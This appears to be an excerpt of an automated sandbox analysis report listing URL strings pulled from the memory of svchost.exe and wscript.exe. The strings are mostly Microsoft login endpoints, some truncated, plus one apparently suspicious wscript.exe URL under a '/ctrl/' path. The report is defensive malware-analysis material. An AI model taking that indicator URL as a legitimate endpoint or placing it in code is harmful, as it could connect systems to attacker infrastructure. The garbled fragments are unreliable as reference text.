Source: svchost.exe, 00000007.00000003.1646012935.000001FE058B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000007.00000003.1514960402.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuels01
Source: svchost.exe, 00000007.00000003.1514960402.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuerf
Source: svchost.exe, 00000007.00000003.1672026114.000001FE0516E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2591657209.000001FE0516F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuessue
Source: svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue
Source: svchost.exe, 00000007.00000003.1514960402.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589459618.000001FE048E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1672026114.000001FE0516E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2591657209.000001FE0516F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 00000007.00000003.1514960402.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1672026114.000001FE0516E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2591657209.000001FE0516F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.orp
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1.1.1.1/
Source: wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1.1.1.1/H
Source: wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1.1.1.1/ctrl/playback.php
Source: svchost.exe, 00000007.00000002.2589695225.000001FE04902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.co
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589695225.000001FE04902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000007.00000003.1365638696.000001FE0512C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Changid
Source: svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600e
Source: svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366016309.000001FE05157000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: svchost.exe, 00000003.00000003.1315616556.00000163ED209000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000003.00000003.1315616556.00000163ED1A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.li.c
Source: wscript.exe, 00000005.00000002.2593429283.0000000005C88000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1482434158.000001FE05840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000007.00000002.2592399214.000001FE05800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf53457
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589695225.000001FE04902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1514960402.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000007.00000003.1365638696.000001FE0512C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srfy.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2594786655.000001FE05917000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2592399214.000001FE05800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1482434158.000001FE05840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000007.00000002.2593431283.000001FE058A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf34935
Source: svchost.exe, 00000007.00000002.2592399214.000001FE05800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfD
Source: svchost.exe, 00000007.00000002.2592399214.000001FE05800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfdz
Source: svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsec
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000007.00000003.1365638696.000001FE0512C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srfr
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600UE
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2592593519.000001FE0583A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366152205.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000007.00000003.1365638696.000001FE0512C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfsue
Source: svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfure
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502R
Source: svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589695225.000001FE04902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366435904.000001FE05156000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589695225.000001FE04902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
